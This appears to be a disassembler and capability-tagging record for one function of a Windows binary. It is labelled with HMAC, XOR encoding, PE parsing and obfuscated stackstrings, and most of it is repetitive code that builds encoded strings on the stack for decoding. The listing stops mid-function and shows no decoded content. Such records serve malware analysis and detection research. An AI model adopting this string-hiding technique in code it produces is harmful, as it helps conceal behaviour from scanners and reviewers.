Function at 0x1400273d0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xfb0]
mov eax, 0x10b0
call fcn.14005b910
sub rsp, rax
mov byte [rsp + 0x60], 0
mov rbx, rcx
mov byte [rsp + 0x61], 0x73
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x62], 0x56
mov byte [rsp + 0x63], 0xd9
mov byte [rsp + 0x64], 0x56
mov byte [rsp + 0x65], 0x1d
mov byte [rsp + 0x66], 0x56
mov byte [rsp + 0x67], 0x1d
mov byte [rsp + 0x68], 0x56
mov byte [rsp + 0x69], 0x56
mov byte [rsp + 0x6a], 0x56
movzx eax, byte [rsp + 0x61]
movaps xmmword [rsp + 0x10a0], xmm6
movaps xmmword [rsp + 0x1090], xmm7
call fcn.14004c230
mov qword [rbp + 0xa30], rax
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 0xb1
mov byte [rsp + 0x72], 0x51
mov byte [rsp + 0x73], 4
mov byte [rsp + 0x74], 0x51
mov byte [rsp + 0x75], 0x7e
mov byte [rsp + 0x76], 0x51
mov byte [rsp + 0x77], 0xe6
mov byte [rsp + 0x78], 0x51
mov byte [rsp + 0x79], 0x51
mov byte [rsp + 0x7a], 0x51
movzx eax, byte [rsp + 0x71]
call fcn.14004c1b0
mov qword [rbp + 0xa38], rax
lea rcx, [rbp + 0x860]
mov byte [rbp + 0x860], 0
mov byte [rbp + 0x861], 0xfa
mov byte [rbp + 0x862], 0x14
mov byte [rbp + 0x863], 3
mov byte [rbp + 0x864], 0x14
mov byte [rbp + 0x865], 0xd
mov byte [rbp + 0x866], 0x14
mov byte [rbp + 0x867], 0xd
mov byte [rbp + 0x868], 0x14
mov byte [rbp + 0x869], 0x12
mov byte [rbp + 0x86a], 0x14
mov byte [rbp + 0x86b], 8
mov byte [rbp + 0x86c], 0x14
mov byte [rbp + 0x86d], 0x14
mov byte [rbp + 0x86e], 0x14
movzx eax, byte [rbp + 0x861]
call fcn.14004c120
mov qword [rbp + 0xa40], rax
lea rcx, [rbp + 0x870]
mov byte [rbp + 0x870], 0
mov byte [rbp + 0x871], 0xbf
mov byte [rbp + 0x872], 0x47
mov byte [rbp + 0x873], 0xcc
mov byte [rbp + 0x874], 0x47
mov byte [rbp + 0x875], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x876], 0x47
mov byte [rbp + 0x877], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x878], 0x47
mov byte [rbp + 0x879], 0xbe
mov byte [rbp + 0x87a], 0x47
mov byte [rbp + 0x87b], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x87c], 0x47
mov byte [rbp + 0x87d], 0x47
mov byte [rbp + 0x87e], 0x47
movzx eax, byte [rbp + 0x871]
call fcn.14004c090
mov qword [rbp + 0xa48], rax
mov byte [rbp + 0x880], 0
mov byte [rbp + 0x881], 0x4e
mov byte [rbp + 0x882], 0x18
mov byte [rbp + 0x883], 0xf7
mov byte [rbp + 0x884], 0x18
mov byte [rbp + 0x885], 0x2a
mov byte [rbp + 0x886], 0x18
mov byte [rbp + 0x887], 0x2a
mov byte [rbp + 0x888], 0x18
mov byte [rbp + 0x889], 0x41
mov byte [rbp + 0x88a], 0x18
lea rcx, [rbp + 0x880]
mov byte [rbp + 0x88b], 0x58
mov byte [rbp + 0x88c], 0x18
mov byte [rbp + 0x88d], 0x18
mov byte [rbp + 0x88e], 0x18
movzx eax, byte [rbp + 0x881]
call fcn.14004c000
mov qword [rbp + 0xa50], rax
lea rcx, [rbp + 0x890]
mov byte [rbp + 0x890], 0
mov byte [rbp + 0x891], 0x5c
mov byte [rbp + 0x892], 0x2f
mov byte [rbp + 0x893], 0xbf
mov byte [rbp + 0x894], 0x2f
mov byte [rbp + 0x895], 0x3e
mov byte [rbp + 0x896], 0x2f
mov byte [rbp + 0x897], 0x3e
mov byte [rbp + 0x898], 0x2f
mov byte [rbp + 0x899], 0x7b
mov byte [rbp + 0x89a], 0x2f
mov byte [rbp + 0x89b], 0xe0
mov byte [rbp + 0x89c], 0x2f
mov byte [rbp + 0x89d], 0x2f
mov byte [rbp + 0x89e], 0x2f
movzx eax, byte [rbp + 0x891]
call fcn.14004bf80
mov qword [rbp + 0xa58], rax
lea rcx, [rbp + 0x8a0]
mov byte [rbp + 0x8a0], 0
mov byte [rbp + 0x8a1], 0
mov byte [rbp + 0x8a2], 0x38
mov byte [rbp + 0x8a3], 0xb2
mov byte [rbp + 0x8a4], 0x38
mov byte [rbp + 0x8a5], 0x79
mov byte [rbp + 0x8a6], 0x38
mov byte [rbp + 0x8a7], 0x79
mov byte [rbp + 0x8a8], 0x38
mov byte [rbp + 0x8a9], 0xda
mov byte [rbp + 0x8aa], 0x38
mov byte [rbp + 0x8ab], 0xd
mov byte [rbp + 0x8ac], 0x38
mov byte [rbp + 0x8ad], 0x38
mov byte [rbp + 0x8ae], 0x38
movzx eax, byte [rbp + 0x8a1]
call fcn.14004bf00
mov qword [rbp + 0xa60], rax
lea rcx, [rbp + 0x8b0]
mov byte [rbp + 0x8b0], 0
mov byte [rbp + 0x8b1], 0xab
mov byte [rbp + 0x8b2], 0x5d
mov byte [rbp + 0x8b3], 0xc0
mov byte [rbp + 0x8b4], 0x5d
mov byte [rbp + 0x8b5], 0x77
mov byte [rbp + 0x8b6], 0x5d
mov byte [rbp + 0x8b7], 0x77
mov byte [rbp + 0x8b8], 0x5d
mov byte [rbp + 0x8b9], 0x87
mov byte [rbp + 0x8ba], 0x5d
mov byte [rbp + 0x8bb], 0x7e
mov byte [rbp + 0x8bc], 0x5d
mov byte [rbp + 0x8bd], 0x5d
mov byte [rbp + 0x8be], 0x5d
movzx eax, byte [rbp + 0x8b1]
call fcn.14004be80
mov qword [rbp + 0xa68], rax
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x80], 0
mov byte [rbp - 0x7f], 0xa9
mov byte [rbp - 0x7e], 0x4a
mov byte [rbp - 0x7d], 0x7f
mov byte [rbp - 0x7c], 0x4a
mov byte [rbp - 0x7b], 0x5f
mov byte [rbp - 0x7a], 0x4a
mov byte [rbp - 0x79], 0xc8
mov byte [rbp - 0x78], 0x4a
mov byte [rbp - 0x77], 0x4a
mov byte [rbp - 0x76], 0x4a
movzx eax, byte [rbp - 0x7f]
call fcn.14004bdf0
mov qword [rbp + 0xa70], rax
mov byte [rbp - 0x70], 0
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x6f], 0x78
mov byte [rbp - 0x6e], 0x29
mov byte [rbp - 0x6d], 0x5d
mov byte [rbp - 0x6c], 0x29
mov byte [rbp - 0x6b], 0xb4
mov byte [rbp - 0x6a], 0x29
mov byte [rbp - 0x69], 0xd1
mov byte [rbp - 0x68], 0x29
mov byte [rbp - 0x67], 0x29
mov byte [rbp - 0x66], 0x29
movzx eax, byte [rbp - 0x6f]
call fcn.14004bd70
mov qword [rbp + 0xa78], rax
lea rcx, [rbp - 0x60]
mov byte [rbp - 0x60], 0
mov byte [rbp - 0x5f], 5
mov byte [rbp - 0x5e], 0x24
mov byte [rbp - 0x5d], 0xee
mov byte [rbp - 0x5c], 0x24
mov byte [rbp - 0x5b], 0x2d
mov byte [rbp - 0x5a], 0x24
mov byte [rbp - 0x59], 0
mov byte [rbp - 0x58], 0x24
mov byte [rbp - 0x57], 0x24
mov byte [rbp - 0x56], 0x24
movzx eax, byte [rbp - 0x5f]
call fcn.14004bcf0
mov qword [rbp + 0xa80], rax
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x50], 0
mov byte [rbp - 0x4f], 0xc5
mov byte [rbp - 0x4e], 0x65
mov byte [rbp - 0x4d], 0x6b
mov byte [rbp - 0x4c], 0x65
mov byte [rbp - 0x4b], 0x92
mov byte [rbp - 0x4a], 0x65
mov byte [rbp - 0x49], 0x33
mov byte [rbp - 0x48], 0x65
mov byte [rbp - 0x47], 0x65
mov byte [rbp - 0x46], 0x65
movzx eax, byte [rbp - 0x4f]
call fcn.14004bc70
mov qword [rbp + 0xa88], rax
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x40], 0
mov byte [rbp - 0x3f], 0x9b
mov byte [rbp - 0x3e], 0x1a
mov byte [rbp - 0x3d], 0xee
mov byte [rbp - 0x3c], 0x1a
mov byte [rbp - 0x3b], 0xb6
mov byte [rbp - 0x3a], 0x1a
mov byte [rbp - 0x39], 0x45
mov byte [rbp - 0x38], 0x1a
mov byte [rbp - 0x37], 0x1a
mov byte [rbp - 0x36], 0x1a
movzx eax, byte [rbp - 0x3f]
call fcn.14004bbf0
mov qword [rbp + 0xa90], rax
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x30], 0
mov byte [rbp - 0x2f], 0x32
mov byte [rbp - 0x2e], 0x69
mov byte [rbp - 0x2d], 0xc4
mov byte [rbp - 0x2c], 0x69
mov byte [rbp - 0x2b], 0x38
mov byte [rbp - 0x2a], 0x69
mov byte [rbp - 0x29], 0xb4
mov byte [rbp - 0x28], 0x69
mov byte [rbp - 0x27], 0x69
mov byte [rbp - 0x26], 0x69
movzx eax, byte [rbp - 0x2f]
call fcn.14004bb70
mov qword [rbp + 0xa98], rax
mov byte [rbp - 0x20], 0
mov byte [rbp - 0x1f], 0x38
mov byte [rbp - 0x1e], 2
mov byte [rbp - 0x1d], 0xe1
mov byte [rbp - 0x1c], 2
mov byte [rbp - 0x1b], 0xe3
mov byte [rbp - 0x1a], 2
lea rcx, [rbp - 0x20]
mov byte [rbp - 0x19], 0x59
mov byte [rbp - 0x18], 2
mov byte [rbp - 0x17], 2
mov byte [rbp - 0x16], 2
movzx eax, byte [rbp - 0x1f]
call fcn.14004bae0
mov qword [rbp + 0xaa0], rax
lea rcx, [rbp - 0x10]
mov byte [rbp - 0x10], 0
mov byte [rbp - 0xf], 0xa4
mov byte [rbp - 0xe], 0xb
mov byte [rbp - 0xd], 0x63
mov byte [rbp - 0xc], 0xb
mov byte [rbp - 0xb], 0x11
mov byte [rbp - 0xa], 0xb
mov byte [rbp - 9], 0xa5
mov byte [rbp - 8], 0xb
mov byte [rbp - 7], 0xb
mov byte [rbp - 6], 0xb
movzx eax, byte [rbp - 0xf]
call fcn.14004ba60
mov qword [rbp + 0xaa8], rax
lea rcx, [rbp]
mov byte [rbp], 0
mov byte [rbp + 1], 0xca
mov byte [rbp + 2], 0x30
mov byte [rbp + 3], 0x88
mov byte [rbp + 4], 0x30
mov byte [rbp + 5], 0xe5
mov byte [rbp + 6], 0x30
mov byte [rbp + 7], 0x87
mov byte [rbp + 8], 0x30
mov byte [rbp + 9], 0x30
mov byte [rbp + 0xa], 0x30
movzx eax, byte [rbp + 1]
call fcn.14004b9e0
mov qword [rbp + 0xab0], rax
lea rcx, [rbp + 0x10]
mov byte [rbp + 0x10], 0
mov byte [rbp + 0x11], 0x6b
mov byte [rbp + 0x12], 0x1d
mov byte [rbp + 0x13], 0xd9
mov byte [rbp + 0x14], 0x1d
mov byte [rbp + 0x15], 0x90
mov byte [rbp + 0x16], 0x1d
mov byte [rbp + 0x17], 0x47
mov byte [rbp + 0x18], 0x1d
mov byte [rbp + 0x19], 0x1d
mov byte [rbp + 0x1a], 0x1d
movzx eax, byte [rbp + 0x11]
call fcn.14004b960
mov qword [rbp + 0xab8], rax
lea rcx, [rbp + 0x20]
mov byte [rbp + 0x20], 0
mov byte [rbp + 0x21], 0xd6
mov byte [rbp + 0x22], 0x7a
mov byte [rbp + 0x23], 0x45
mov byte [rbp + 0x24], 0x7a
mov byte [rbp + 0x25], 0x41
mov byte [rbp + 0x26], 0x7a
mov byte [rbp + 0x27], 0x67
mov byte [rbp + 0x28], 0x7a
mov byte [rbp + 0x29], 0x7a
mov byte [rbp + 0x2a], 0x7a
movzx eax, byte [rbp + 0x21]
call fcn.14004b8d0
mov qword [rbp + 0xac0], rax
mov byte [rbp + 0x30], 0
mov byte [rbp + 0x31], 0x2c
mov byte [rbp + 0x32], 0x75
mov byte [rbp + 0x33], 9
mov byte [rbp + 0x34], 0x75
mov byte [rbp + 0x35], 0x7a
mov byte [rbp + 0x36], 0x75
mov byte [rbp + 0x37], 0x93
mov byte [rbp + 0x38], 0x75
mov byte [rbp + 0x39], 0x75
mov byte [rbp + 0x3a], 0x75
movzx eax, byte [rbp + 0x31]
lea rcx, [rbp + 0x30]
call fcn.14004b840
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0x40]
mov byte [rbp + 0x40], 0
mov byte [rbp + 0x41], 0x19
mov byte [rbp + 0x42], 0x38
mov byte [rbp + 0x43], 0xd5
mov byte [rbp + 0x44], 0x38
mov byte [rbp + 0x45], 0x21
mov byte [rbp + 0x46], 0x38
mov byte [rbp + 0x47], 0x2e
mov byte [rbp + 0x48], 0x38
mov byte [rbp + 0x49], 0x38
mov byte [rbp + 0x4a], 0x38
movzx eax, byte [rbp + 0x41]
call fcn.14004b7c0
mov qword [rbp + 0xad0], rax
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x50], 0
mov byte [rbp + 0x51], 0x23
mov byte [rbp + 0x52], 0x6b
mov byte [rbp + 0x53], 0x53
mov byte [rbp + 0x54], 0x6b
mov byte [rbp + 0x55], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x56], 0x6b
mov byte [rbp + 0x57], 0xe4
mov byte [rbp + 0x58], 0x6b
mov byte [rbp + 0x59], 0x6b
mov byte [rbp + 0x5a], 0x6b
movzx eax, byte [rbp + 0x51]
call fcn.14004b740
mov qword [rbp + 0xad8], rax
lea rcx, [rbp + 0x60]
mov byte [rbp + 0x60], 0
mov byte [rbp + 0x61], 0x27
mov byte [rbp + 0x62], 0x3c
mov byte [rbp + 0x63], 0x35
mov byte [rbp + 0x64], 0x3c
mov byte [rbp + 0x65], 0x76
mov byte [rbp + 0x66], 0x3c
mov byte [rbp + 0x67], 0x3a
mov byte [rbp + 0x68], 0x3c
mov byte [rbp + 0x69], 0x3c
mov byte [rbp + 0x6a], 0x3c
movzx eax, byte [rbp + 0x61]
call fcn.14004b6b0
mov qword [rbp + 0xae0], rax
lea rcx, [rbp + 0x920]
mov byte [rbp + 0x920], 0
mov byte [rbp + 0x921], 0x1c
mov byte [rbp + 0x922], 0x53
mov byte [rbp + 0x923], 0x12
mov byte [rbp + 0x924], 0x53
mov byte [rbp + 0x925], 0x9e
mov byte [rbp + 0x926], 0x53
mov byte [rbp + 0x927], 0xe8
mov byte [rbp + 0x928], 0x53
mov byte [rbp + 0x929], 0xd3
mov byte [rbp + 0x92a], 0x53
mov byte [rbp + 0x92b], 0x9e
mov byte [rbp + 0x92c], 0x53
mov byte [rbp + 0x92d], 0xe8
mov byte [rbp + 0x92e], 0x53
mov byte [rbp + 0x92f], 0x53
mov byte [rbp + 0x930], 0x53
movzx eax, byte [rbp + 0x921]
call fcn.14004b630
mov qword [rbp + 0xae8], rax
mov byte [rbp + 0x70], 0
mov byte [rbp + 0x71], 0xa2
mov byte [rbp + 0x72], 0x5c
mov byte [rbp + 0x73], 0xf
mov byte [rbp + 0x74], 0x5c
mov byte [rbp + 0x75], 0x41
mov byte [rbp + 0x76], 0x5c
mov byte [rbp + 0x77], 0xf
mov byte [rbp + 0x78], 0x5c
mov byte [rbp + 0x79], 0x5c
mov byte [rbp + 0x7a], 0x5c
movzx eax, byte [rbp + 0x71]
lea rcx, [rbp + 0x70]
call fcn.14004b5b0
mov qword [rbp + 0xaf0], rax
lea rcx, [rbp + 0xa10]
mov byte [rbp + 0xa10], 0
mov byte [rbp + 0xa11], 0x30
mov byte [rbp + 0xa12], 3
mov byte [rbp + 0xa13], 0x4f
mov byte [rbp + 0xa14], 3
mov byte [rbp + 0xa15], 0x93
mov byte [rbp + 0xa16], 3
mov byte [rbp + 0xa17], 0x4f
mov byte [rbp + 0xa18], 3
mov byte [rbp + 0xa19], 0x85
mov byte [rbp + 0xa1a], 3
mov byte [rbp + 0xa1b], 0x93
mov byte [rbp + 0xa1c], 3
mov byte [rbp + 0xa1d], 0xb
mov byte [rbp + 0xa1e], 3
mov byte [rbp + 0xa1f], 0xb4
mov byte [rbp + 0xa20], 3
mov byte [rbp + 0xa21], 0x93
mov byte [rbp + 0xa22], 3
mov byte [rbp + 0xa23], 0x7e
mov byte [rbp + 0xa24], 3
mov byte [rbp + 0xa25], 0xf1
mov byte [rbp + 0xa26], 3
mov byte [rbp + 0xa27], 3
mov byte [rbp + 0xa28], 3
movzx eax, byte [rbp + 0xa11]
call fcn.14004b530
mov qword [rbp + 0xaf8], rax
lea rcx, [rbp + 0x9c8]
mov byte [rbp + 0x9c8], 0
mov byte [rbp + 0x9c9], 0xd
mov byte [rbp + 0x9ca], WSAGetLastError
mov byte [rbp + 0x9cb], 0x29
mov byte [rbp + 0x9cc], WSAGetLastError
mov byte [rbp + 0x9cd], 0x97
mov byte [rbp + 0x9ce], WSAGetLastError
mov byte [rbp + 0x9cf], 0xf4
mov byte [rbp + 0x9d0], WSAGetLastError
mov byte [rbp + 0x9d1], 0xf5
mov byte [rbp + 0x9d2], WSAGetLastError
mov byte [rbp + 0x9d3], 0xe5
mov byte [rbp + 0x9d4], WSAGetLastError
mov byte [rbp + 0x9d5], 0x58
mov byte [rbp + 0x9d6], WSAGetLastError
mov byte [rbp + 0x9d7], 0xd5
mov byte [rbp + 0x9d8], WSAGetLastError
mov byte [rbp + 0x9d9], 0x97
mov byte [rbp + 0x9da], WSAGetLastError
mov byte [rbp + 0x9db], WSAGetLastError
mov byte [rbp + 0x9dc], WSAGetLastError
movzx eax, byte [rbp + 0x9c9]
call fcn.14004b4b0
mov qword [rbp + 0xb00], rax
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x94
mov byte [rsp + 0x22], 0x4d
mov byte [rsp + 0x23], 0x18
mov byte [rsp + 0x24], 0x4d
mov byte [rsp + 0x25], 0xa
mov byte [rsp + 0x26], 0x4d
mov byte [rsp + 0x27], 0x4d
mov byte [rsp + 0x28], 0x4d
movzx eax, byte [rsp + 0x21]
call fcn.14004b420
mov qword [rbp + 0xb08], rax
mov byte [rbp + 0x938], 0
mov byte [rbp + 0x939], 0xa7
mov byte [rbp + 0x93a], 0x48
mov byte [rbp + 0x93b], 0x5d
mov byte [rbp + 0x93c], 0x48
mov byte [rbp + 0x93d], 0xc6
mov byte [rbp + 0x93e], 0x48
mov byte [rbp + 0x93f], 0x5e
mov byte [rbp + 0x940], 0x48
mov byte [rbp + 0x941], 0xb8
mov byte [rbp + 0x942], 0x48
mov byte [rbp + 0x943], 0x86
lea rcx, [rbp + 0x938]
mov byte [rbp + 0x944], 0x48
mov byte [rbp + 0x945], 0xf8
mov byte [rbp + 0x946], 0x48
mov byte [rbp + 0x947], 0x48
mov byte [rbp + 0x948], 0x48
movzx eax, byte [rbp + 0x939]
call fcn.14004b390
mov qword [rbp + 0xb10], rax
lea rcx, [rbp + 0x950]
mov byte [rbp + 0x950], 0
mov byte [rbp + 0x951], 0xbd
mov byte [rbp + 0x952], 0xb
mov byte [rbp + 0x953], 0x10
mov byte [rbp + 0x954], 0xb
mov byte [rbp + 0x955], 0x29
mov byte [rbp + 0x956], 0xb
mov byte [rbp + 0x957], 0x4c
mov byte [rbp + 0x958], 0xb
mov byte [rbp + 0x959], 0x9b
mov byte [rbp + 0x95a], 0xb
mov byte [rbp + 0x95b], 0xb3
mov byte [rbp + 0x95c], 0xb
mov byte [rbp + 0x95d], 0xa7
mov byte [rbp + 0x95e], 0xb
mov byte [rbp + 0x95f], 0xb
mov byte [rbp + 0x960], 0xb
movzx eax, byte [rbp + 0x951]
call fcn.14004b300
mov qword [rbp + 0xb18], rax
lea rcx, [rbp + 0x80]
mov byte [rbp + 0x80], 0
mov byte [rbp + 0x81], 0x5b
mov byte [rbp + 0x82], 0x3e
mov byte [rbp + 0x83], 5
mov byte [rbp + 0x84], 0x3e
mov byte [rbp + 0x85], 0xde
mov byte [rbp + 0x86], 0x3e
mov byte [rbp + 0x87], 0xb0
mov byte [rbp + 0x88], 0x3e
mov byte [rbp + 0x89], 0x3e
mov byte [rbp + 0x8a], 0x3e
movzx eax, byte [rbp + 0x81]
call fcn.14004b270
mov qword [rbp + 0xb20], rax
lea rcx, [rbp + 0x90]
mov byte [rbp + 0x90], 0
mov byte [rbp + 0x91], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp + 0x92], 0xf
mov byte [rbp + 0x93], 0x3c
mov byte [rbp + 0x94], 0xf
mov byte [rbp + 0x95], 0x22
mov byte [rbp + 0x96], 0xf
mov byte [rbp + 0x97], 0x2f
mov byte [rbp + 0x98], 0xf
mov byte [rbp + 0x99], 0xf
mov byte [rbp + 0x9a], 0xf
movzx eax, byte [rbp + 0x91]
call fcn.14004b1f0
mov qword [rbp + 0xb28], rax
lea rcx, [rbp + 0xa0]
mov byte [rbp + 0xa0], 0
mov byte [rbp + 0xa1], 0x11
mov byte [rbp + 0xa2], 0x26
mov byte [rbp + 0xa3], 0x24
mov byte [rbp + 0xa4], 0x26
mov byte [rbp + 0xa5], 0x1a
mov byte [rbp + 0xa6], 0x26
mov byte [rbp + 0xa7], 0x2e
mov byte [rbp + 0xa8], 0x26
mov byte [rbp + 0xa9], 0x26
mov byte [rbp + 0xaa], 0x26
movzx eax, byte [rbp + 0xa1]
call fcn.14004b160
mov qword [rbp + 0xb30], rax
mov byte [rbp + 0xb0], 0
mov byte [rbp + 0xb1], 0xa7
mov byte [rbp + 0xb2], 0x2f
mov byte [rbp + 0xb3], 0xa6
mov byte [rbp + 0xb4], 0x2f
mov byte [rbp + 0xb5], 8
lea rcx, [rbp + 0xb0]
mov byte [rbp + 0xb6], 0x2f
mov byte [rbp + 0xb7], 0x60
mov byte [rbp + 0xb8], 0x2f
mov byte [rbp + 0xb9], 0x2f
mov byte [rbp + 0xba], 0x2f
movzx eax, byte [rbp + 0xb1]
call fcn.14004b0d0
mov qword [rbp + 0xb38], rax
lea rcx, [rbp + 0xc0]
mov byte [rbp + 0xc0], 0
mov byte [rbp + 0xc1], 0x8a
mov byte [rbp + 0xc2], 0x54
mov byte [rbp + 0xc3], 0x7d
mov byte [rbp + 0xc4], 0x54
mov byte [rbp + 0xc5], 0x4f
mov byte [rbp + 0xc6], 0x54
mov byte [rbp + 0xc7], 0xf2
mov byte [rbp + 0xc8], 0x54
mov byte [rbp + 0xc9], 0x54
mov byte [rbp + 0xca], 0x54
movzx eax, byte [rbp + 0xc1]
call fcn.14004b040
mov qword [rbp + 0xb40], rax
lea rcx, [rbp + 0xd0]
mov byte [rbp + 0xd0], 0
mov byte [rbp + 0xd1], WSAGetLastError
mov byte [rbp + 0xd2], 0x41
mov byte [rbp + 0xd3], 0x8d
mov byte [rbp + 0xd4], 0x41
mov byte [rbp + 0xd5], 0x13
mov byte [rbp + 0xd6], 0x41
mov byte [rbp + 0xd7], 0xeb
mov byte [rbp + 0xd8], 0x41
mov byte [rbp + 0xd9], 0x41
mov byte [rbp + 0xda], 0x41
movzx eax, byte [rbp + 0xd1]
call fcn.14004afc0
mov qword [rbp + 0xb48], rax
lea rcx, [rbp + 0xe0]
mov byte [rbp + 0xe0], 0
mov byte [rbp + 0xe1], 0xe3
mov byte [rbp + 0xe2], 0x20
mov byte [rbp + 0xe3], 0xc2
mov byte [rbp + 0xe4], 0x20
mov byte [rbp + 0xe5], 0
mov byte [rbp + 0xe6], 0x20
mov byte [rbp + 0xe7], 0x7e
mov byte [rbp + 0xe8], 0x20
mov byte [rbp + 0xe9], 0x20
mov byte [rbp + 0xea], 0x20
movzx eax, byte [rbp + 0xe1]
call fcn.14004af40
mov qword [rbp + 0xb50], rax
lea rcx, [rbp + 0xf0]
mov byte [rbp + 0xf0], 0
mov byte [rbp + 0xf1], WSAGetLastError
mov byte [rbp + 0xf2], 0x1b
mov byte [rbp + 0xf3], 0x8e
mov byte [rbp + 0xf4], 0x1b
mov byte [rbp + 0xf5], 0x35
mov byte [rbp + 0xf6], 0x1b
mov byte [rbp + 0xf7], 0xd7
mov byte [rbp + 0xf8], 0x1b
mov byte [rbp + 0xf9], 0x1b
mov byte [rbp + 0xfa], 0x1b
movzx eax, byte [rbp + 0xf1]
call fcn.14004aec0
mov qword [rbp + 0xb58], rax
mov byte [rbp + 0x100], 0
mov byte [rbp + 0x101], 0xbb
mov byte [rbp + 0x102], 0x5c
mov byte [rbp + 0x103], 0x71
mov byte [rbp + 0x104], 0x5c
mov byte [rbp + 0x105], 0x28
mov byte [rbp + 0x106], 0x5c
mov byte [rbp + 0x107], 0x1a
mov byte [rbp + 0x108], 0x5c
mov byte [rbp + 0x109], 0x5c
mov byte [rbp + 0x10a], 0x5c
movzx eax, byte [rbp + 0x101]
lea rcx, [rbp + 0x100]
call fcn.14004ae30
mov qword [rbp + 0xb60], rax
lea rcx, [rbp + 0x110]
mov byte [rbp + 0x110], 0
mov byte [rbp + 0x111], 0x60
mov byte [rbp + 0x112], 0x11
mov byte [rbp + 0x113], 0x9c
mov byte [rbp + 0x114], 0x11
mov byte [rbp + 0x115], 0x7f
mov byte [rbp + 0x116], 0x11
mov byte [rbp + 0x117], 0xea
mov byte [rbp + 0x118], 0x11
mov byte [rbp + 0x119], 0x11
mov byte [rbp + 0x11a], 0x11
movzx eax, byte [rbp + 0x111]
call fcn.14004adb0
mov qword [rbp + 0xb68], rax
lea rcx, [rbp + 0x120]
mov byte [rbp + 0x120], 0
mov byte [rbp + 0x121], 0x41
mov byte [rbp + 0x122], 0x60
mov byte [rbp + 0x123], WSAGetLastError
mov byte [rbp + 0x124], 0x60
mov byte [rbp + 0x125], WSAGetLastError
mov byte [rbp + 0x126], 0x60
mov byte [rbp + 0x127], 0xb0
mov byte [rbp + 0x128], 0x60
mov byte [rbp + 0x129], 0x60
mov byte [rbp + 0x12a], 0x60
movzx eax, byte [rbp + 0x121]
call fcn.14004ad30
mov qword [rbp + 0xb70], rax
lea rcx, [rbp + 0x7b0]
mov byte [rbp + 0x7b0], 0
mov byte [rbp + 0x7b1], 0xd7
mov byte [rbp + 0x7b2], 0x77
mov byte [rbp + 0x7b3], 0xa4
mov byte [rbp + 0x7b4], 0x77
mov byte [rbp + 0x7b5], 0x11
mov byte [rbp + 0x7b6], 0x77
mov byte [rbp + 0x7b7], 0xe5
mov byte [rbp + 0x7b8], 0x77
mov byte [rbp + 0x7b9], WSAGetLastError
mov byte [rbp + 0x7ba], 0x77
mov byte [rbp + 0x7bb], 0x77
mov byte [rbp + 0x7bc], 0x77
movzx eax, byte [rbp + 0x7b1]
call fcn.14004acb0
mov qword [rbp + 0xb78], rax
lea rcx, [rbp + 0x130]
mov byte [rbp + 0x130], 0
mov byte [rbp + 0x131], 0x83
mov byte [rbp + 0x132], 2
mov byte [rbp + 0x133], 0x56
mov byte [rbp + 0x134], 2
mov byte [rbp + 0x135], 0x4c
mov byte [rbp + 0x136], 2
mov byte [rbp + 0x137], 3
mov byte [rbp + 0x138], 2
mov byte [rbp + 0x139], 2
mov byte [rbp + 0x13a], 2
movzx eax, byte [rbp + 0x131]
call fcn.14004ac30
mov qword [rbp + 0xb80], rax
lea rcx, [rbp + 0x140]
mov byte [rbp + 0x140], 0
mov byte [rbp + 0x141], 0xeb
mov byte [rbp + 0x142], 0x27
mov byte [rbp + 0x143], 0xe1
mov byte [rbp + 0x144], 0x27
mov byte [rbp + 0x145], 0xcc
mov byte [rbp + 0x146], 0x27
mov byte [rbp + 0x147], 0xf9
mov byte [rbp + 0x148], 0x27
mov byte [rbp + 0x149], 0x27
mov byte [rbp + 0x14a], 0x27
movzx eax, byte [rbp + 0x141]
call fcn.14004abb0
mov qword [rbp + 0xb88], rax
mov byte [rbp + 0x150], 0
lea rcx, [rbp + 0x150]
mov byte [rbp + 0x151], 0x4a
mov byte [rbp + 0x152], 0x14
mov byte [rbp + 0x153], 0x3d
mov byte [rbp + 0x154], 0x14
mov byte [rbp + 0x155], 0x9b
mov byte [rbp + 0x156], 0x14
mov byte [rbp + 0x157], 0xde
mov byte [rbp + 0x158], 0x14
mov byte [rbp + 0x159], 0x14
mov byte [rbp + 0x15a], 0x14
movzx eax, byte [rbp + 0x151]
call fcn.14004ab20
mov qword [rbp + 0xb90], rax
lea rcx, [rbp + 0x160]
mov byte [rbp + 0x160], 0
mov byte [rbp + 0x161], 0xf
mov byte [rbp + 0x162], 0x71
mov byte [rbp + 0x163], 0x14
mov byte [rbp + 0x164], 0x71
mov byte [rbp + 0x165], 0x77
mov byte [rbp + 0x166], 0x71
mov byte [rbp + 0x167], 0x56
mov byte [rbp + 0x168], 0x71
mov byte [rbp + 0x169], 0x71
mov byte [rbp + 0x16a], 0x71
movzx eax, byte [rbp + 0x161]
call fcn.14004aaa0
mov qword [rbp + 0xb98], rax
lea rcx, [rbp + 0x7c0]
mov byte [rbp + 0x7c0], 0
mov byte [rbp + 0x7c1], 0xb
mov byte [rbp + 0x7c2], WSAGetLastError
mov byte [rbp + 0x7c3], 0x27
mov byte [rbp + 0x7c4], WSAGetLastError
mov byte [rbp + 0x7c5], 0x26
mov byte [rbp + 0x7c6], WSAGetLastError
mov byte [rbp + 0x7c7], 0xf2
mov byte [rbp + 0x7c8], WSAGetLastError
mov byte [rbp + 0x7c9], 0xe2
mov byte [rbp + 0x7ca], WSAGetLastError
mov byte [rbp + 0x7cb], WSAGetLastError
mov byte [rbp + 0x7cc], WSAGetLastError
movzx eax, byte [rbp + 0x7c1]
call fcn.14004aa20
mov qword [rbp + 0xba0], rax
lea rcx, [rbp + 0x170]
mov byte [rbp + 0x170], 0
mov byte [rbp + 0x171], 0x7d
